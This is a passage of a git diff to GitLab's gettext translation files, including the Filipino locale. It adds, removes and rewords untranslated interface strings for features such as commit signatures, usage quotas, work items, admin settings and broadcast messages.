msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
msgid "UsageQuota|Purchased storage"
msgstr ""
-msgid "UsageQuota|Purchased storage available"
-msgstr ""
-
msgid "UsageQuota|Purchased storage used"
msgstr ""
@@ -44407,24 +45101,12 @@ msgstr ""
msgid "UsageQuota|The table below shows usage since %{usageSince}"
msgstr ""
-msgid "UsageQuota|This is the total amount of storage used across your projects within this namespace."
-msgstr ""
-
-msgid "UsageQuota|This is the total amount of storage used by projects above the free %{actualRepositorySizeLimit} storage limit."
-msgstr ""
-
msgid "UsageQuota|This namespace has no projects which used shared runners in the current period"
msgstr ""
msgid "UsageQuota|This table omits projects that used 0 CI/CD minutes or 0 shared runners duration"
msgstr ""
-msgid "UsageQuota|Total excess storage used"
-msgstr ""
-
-msgid "UsageQuota|Total namespace storage used"
-msgstr ""
-
msgid "UsageQuota|Uploads"
msgstr ""
@@ -44452,9 +45134,6 @@ msgstr ""
msgid "UsageQuota|Usage of resources across your projects"
msgstr ""
-msgid "UsageQuota|Usage quotas help link"
-msgstr ""
-
msgid "UsageQuota|User settings &gt; Usage quotas"
msgstr ""
@@ -44473,15 +45152,9 @@ msgstr ""
msgid "UsageQuota|You have reached the free storage limit on %{projectsLockedText}. To unlock them, purchase additional storage."
msgstr ""
-msgid "UsageQuota|You used: %{usage} %{limit}"
-msgstr ""
-
msgid "UsageQuota|Your purchased storage is running low. To avoid locked projects, purchase more storage."
msgstr ""
-msgid "UsageQuota|out of %{formattedLimit} of your namespace storage"
-msgstr ""
-
msgid "UsageTrends|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
@@ -44638,6 +45311,9 @@ msgstr ""
msgid "Use the %{strongStart}Test%{strongEnd} option above to create an event."
msgstr ""
+msgid "Use the Apple App Store Connect integration to easily connect to the Apple App Store with Fastlane in CI/CD pipelines."
+msgstr ""
+
msgid "Use the link below to confirm your email address (%{email})"
msgstr ""
@@ -44694,6 +45370,12 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
+msgid "User %{user} SCIM identity is deactivated"
+msgstr ""
+
+msgid "User %{user} SCIM identity is reactivated"
+msgstr ""
+
msgid "User %{user} was removed from %{group}."
msgstr ""
@@ -44868,9 +45550,6 @@ msgstr ""
msgid "UserProfile|Activity"
msgstr ""
-msgid "UserProfile|Already reported for abuse"
-msgstr ""
-
msgid "UserProfile|Blocked user"
msgstr ""
@@ -44937,10 +45616,10 @@ msgstr ""
msgid "UserProfile|Subscribe"
msgstr ""
-msgid "UserProfile|This user doesn't have any followers."
+msgid "UserProfile|There are no projects available to be displayed here."
msgstr ""
-msgid "UserProfile|This user doesn't have any personal projects"
+msgid "UserProfile|This user doesn't have any followers."
msgstr ""
msgid "UserProfile|This user has a private profile"
@@ -45108,10 +45787,7 @@ msgstr ""
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr ""
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr ""
-
-msgid "Valid From"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
msgstr ""
msgid "Validate"
@@ -45303,6 +45979,9 @@ msgstr ""
msgid "Verified"
msgstr ""
+msgid "Verified commit"
+msgstr ""
+
msgid "Verify SAML Configuration"
msgstr ""
@@ -45315,9 +45994,6 @@ msgstr ""
msgid "Version"
msgstr ""
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr ""
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr ""
@@ -45387,6 +46063,9 @@ msgstr ""
msgid "View all projects"
msgstr ""
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr ""
+
msgid "View blame"
msgstr ""
@@ -45481,6 +46160,9 @@ msgstr ""
msgid "View logs"
msgstr ""
+msgid "View markdown"
+msgstr ""
+
msgid "View milestones"
msgstr ""
@@ -45513,6 +46195,9 @@ msgstr[1] ""
msgid "View replaced file @ "
msgstr ""
+msgid "View rich text"
+msgstr ""
+
msgid "View seat usage"
msgstr ""
@@ -45525,6 +46210,9 @@ msgstr ""
msgid "View the documentation"
msgstr ""
+msgid "View the formatted output in real-time as you edit."
+msgstr ""
+
msgid "View the latest successful deployment to this environment"
msgstr ""
@@ -45549,9 +46237,6 @@ msgstr ""
msgid "Violation"
msgstr ""
-msgid "Visibility"
-msgstr ""
-
msgid "Visibility and access controls"
msgstr ""
@@ -46284,10 +46969,10 @@ msgstr ""
msgid "Webhooks|Pipeline events"
msgstr ""
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
+msgid "Webhooks|Regular expression"
msgstr ""
-msgid "Webhooks|Regular expression"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
msgstr ""
msgid "Webhooks|Releases events"
@@ -46735,9 +47420,21 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "WorkItem|%{count} more assignees"
+msgstr ""
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr ""
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr ""
+
+msgid "WorkItem|Activity"
+msgstr ""
+
msgid "WorkItem|Add"
msgstr ""
@@ -46824,6 +47521,9 @@ msgstr ""
msgid "WorkItem|Expand tasks"
msgstr ""
+msgid "WorkItem|Health status"
+msgstr ""
+
msgid "WorkItem|Incident"
msgstr ""
@@ -46833,7 +47533,7 @@ msgstr ""
msgid "WorkItem|Iteration"
msgstr ""
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr ""
msgid "WorkItem|Milestone"
@@ -46866,7 +47566,7 @@ msgstr ""
msgid "WorkItem|Objective"
msgstr ""
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
msgstr ""
msgid "WorkItem|Open"
@@ -46920,6 +47620,12 @@ msgstr ""
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr ""
+msgid "WorkItem|Something went wrong while removing child."
+msgstr ""
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr ""
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr ""
@@ -46941,6 +47647,12 @@ msgstr ""
msgid "WorkItem|Test case"
msgstr ""
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr ""
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr ""
@@ -47045,6 +47757,9 @@ msgstr ""
msgid "You are about to delete this project containing:"
msgstr ""
+msgid "You are about to incur additional charges"
+msgstr ""
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr ""
@@ -47177,9 +47892,6 @@ msgstr ""
msgid "You can also star a label to make it a priority label."
msgstr ""
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr ""
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
@@ -47270,6 +47982,9 @@ msgstr ""
msgid "You can invite another group to %{project_name}."
msgstr ""
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr ""
+
msgid "You can move around the graph by using the arrow keys."
msgstr ""
@@ -47309,9 +48024,6 @@ msgstr ""
msgid "You can specify notification level per group or per project."
msgstr ""
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr ""
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr ""
@@ -47327,7 +48039,7 @@ msgstr ""
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr ""
-msgid "You cannot approve your own deployment."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
msgstr ""
msgid "You cannot combine replace_ids with add_ids or remove_ids"
@@ -47420,7 +48132,7 @@ msgstr ""
msgid "You don't have any recent searches"
msgstr ""
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
msgstr ""
msgid "You don't have permission to view this epic"
@@ -47449,6 +48161,9 @@ msgid_plural "You have %{pendingMembersCount} pending members that need approval
msgstr[0] ""
msgstr[1] ""
+msgid "You have already reported this user"
+msgstr ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -47566,6 +48281,9 @@ msgstr ""
msgid "You must provide a valid current password"
msgstr ""
+msgid "You must provide at least one filter argument for this query"
+msgstr ""
+
msgid "You must provide your current password in order to change it."
msgstr ""
@@ -47719,8 +48437,10 @@ msgstr ""
msgid "You've rejected %{user}"
msgstr ""
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
-msgstr ""
+msgid "You've successfully purchased the %{plan} plan subscription for 1 user and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgid_plural "You've successfully purchased the %{plan} plan subscription for %{quantity} users and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
+msgstr[0] ""
+msgstr[1] ""
msgid "YouTube"
msgstr ""
@@ -47958,6 +48678,9 @@ msgstr ""
msgid "Your name"
msgstr ""
+msgid "Your namespace %{namespace_name} has reached the %{free_limit} user limit"
+msgstr ""
+
msgid "Your namespace %{namespace_name} is over the %{free_limit} user limit and has been placed in a read-only state."
msgstr ""
@@ -47985,7 +48708,7 @@ msgstr ""
msgid "Your password reset token has expired."
msgstr ""
-msgid "Your personal access token has expired"
+msgid "Your personal access tokens have expired"
msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
@@ -48062,6 +48785,9 @@ msgstr ""
msgid "Your username is %{username}."
msgstr ""
+msgid "Your work"
+msgstr ""
+
msgid "You’re about to permanently delete the %{issuableType} ‘%{strongOpen}%{issuableTitle}%{strongClose}’. To avoid data loss, consider %{strongOpen}closing this %{issuableType}%{strongClose} instead. Once deleted, it cannot be undone or recovered."
msgstr ""
@@ -48263,6 +48989,9 @@ msgstr ""
msgid "can not be changed for existing notes"
msgstr ""
+msgid "can not be changed to %{new_type}"
+msgstr ""
+
msgid "can not be set for this resource"
msgstr ""
@@ -48499,10 +49228,13 @@ msgstr ""
msgid "ciReport|Code Quality"
msgstr ""
-msgid "ciReport|Code Quality failed loading results"
+msgid "ciReport|Code Quality failed to load results"
msgstr ""
-msgid "ciReport|Code Quality test metrics results are being parsed"
+msgid "ciReport|Code Quality hasn't changed."
+msgstr ""
+
+msgid "ciReport|Code Quality is loading"
msgstr ""
msgid "ciReport|Code quality degraded due to 1 new issue"
@@ -48655,9 +49387,6 @@ msgstr ""
msgid "ciReport|New vulnerabilities are vulnerabilities that the security scan detects in the merge request that are different to existing vulnerabilities in the default branch."
msgstr ""
-msgid "ciReport|No changes to Code Quality."
-msgstr ""
-
msgid "ciReport|No changes to code quality"
msgstr ""
@@ -49142,9 +49871,6 @@ msgstr ""
msgid "is not a descendant of the Group owning the template"
msgstr ""
-msgid "is not a valid URL."
-msgstr ""
-
msgid "is not a valid X509 certificate."
msgstr ""
@@ -49659,6 +50385,9 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
+msgid "must be in ISO 8601 format"
+msgstr ""
+
msgid "must be in same hierarchy as custom role's namespace"
msgstr ""
@@ -49746,12 +50475,6 @@ msgstr ""
msgid "nounSeries|%{item}, and %{lastItem}"
msgstr ""
-msgid "only %{parent_types} can be parent of Task."
-msgstr ""
-
-msgid "only Task can be assigned as a child in hierarchy."
-msgstr ""
-
msgid "only available on top-level groups."
msgstr ""
@@ -50164,6 +50887,9 @@ msgstr ""
msgid "verify ownership"
msgstr ""
+msgid "version %{report_version} for report type %{report_type} is deprecated. However, GitLab will still attempt to parse and ingest this report. Upgrade the security report to one of the following versions: %{current_schema_versions}."
+msgstr ""
+
msgid "version %{versionIndex}"
msgstr ""
diff --git a/locale/fil_PH/gitlab.po b/locale/fil_PH/gitlab.po
index 0331d753177..a137d45e76b 100644
--- a/locale/fil_PH/gitlab.po
+++ b/locale/fil_PH/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: fil\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 16\n"
-"PO-Revision-Date: 2022-12-10 06:43\n"
+"PO-Revision-Date: 2023-01-10 06:47\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -750,6 +750,9 @@ msgstr ""
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{key} is not a valid URL."
+msgstr ""
+
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr ""
@@ -822,6 +825,9 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{linkStart} Learn more%{linkEnd}."
+msgstr ""
+
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -953,6 +959,12 @@ msgstr ""
msgid "%{ref} cannot be added: %{error}"
msgstr ""
+msgid "%{relation_type} epic does not exist."
+msgstr ""
+
+msgid "%{relation_type} epic is not present."
+msgstr ""
+
msgid "%{releases} release"
msgid_plural "%{releases} releases"
msgstr[0] ""
@@ -970,6 +982,11 @@ msgstr ""
msgid "%{reportType} detected no new vulnerabilities."
msgstr ""
+msgid "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approval%{approvalEnd} from: %{approverType}%{approvers}"
+msgid_plural "%{requireStart}Require%{requireEnd} %{approvalsRequired} %{approvalStart}approvals%{approvalEnd} from: %{approverType}%{approvers}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -1008,9 +1025,6 @@ msgid_plural "%{selectedProjectsCount} projects"
msgstr[0] ""
msgstr[1] ""
-msgid "%{size} %{unit}"
-msgstr ""
-
msgid "%{size} GiB"
msgstr ""
@@ -1116,11 +1130,6 @@ msgstr ""
msgid "%{text} is available"
msgstr ""
-msgid "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approval from %{approverType}%{approvers}"
-msgid_plural "%{thenLabelStart}Then%{thenLabelEnd} Require %{approvalsRequired} approvals from %{approverType}%{approvers}"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{timebox_type} does not support burnup charts"
msgstr ""
@@ -1541,7 +1550,7 @@ msgstr[0] ""
msgstr[1] ""
msgid "1 user"
-msgid_plural "%{num} users"
+msgid_plural "%d users"
msgstr[0] ""
msgstr[1] ""
@@ -1768,6 +1777,9 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
+msgid "A template for starting a new TYPO3 project"
+msgstr ""
+
msgid "A title is required"
msgstr ""
@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
